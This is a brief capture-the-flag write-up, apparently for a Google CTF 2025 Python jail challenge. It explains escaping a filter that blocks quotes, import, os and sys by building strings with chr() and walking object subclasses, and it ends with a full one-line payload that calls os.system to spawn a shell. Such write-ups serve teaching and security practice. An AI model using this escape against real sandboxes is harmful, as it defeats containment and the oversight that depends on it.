Jailbreak - Google CTF 2025 Writeup

A Python PyJail interactive shell that blocks access to `import`, `os`, `sys`, and quotes. Escape the jail using subclasses references to read files.

🚩 Challenge Overview

  • Platform/Event: Google CTF 2025
  • Difficulty: Easy
  • Points: 110
  • Solves: 590
  • Category: Misc
  • Tags: Python Jail, Sandbox Escape, Subclasses, Builtins

📝 Description

A Python PyJail interactive shell that blocks access to import, os, sys, and quotes. Escape the jail using subclasses references to read files.

💡 Solution / Approach

  1. The jail filters quotes, meaning we cannot use strings directly. We construct strings using chr() and +.

  2. Traverse subclasses from the base class: ().__class__.__base__.__subclasses__().

  3. Find the index of the _frozen_importlib_external.FileFinder or similar class that has access to system modules.

  4. Build payload using Python string formatting: ().__class__.__base__.__subclasses__()[137].__init__.__globals__[chr(115)+chr(121)+chr(115)].modules[chr(111)+chr(115)].system(chr(115)+chr(104)) to trigger a shell.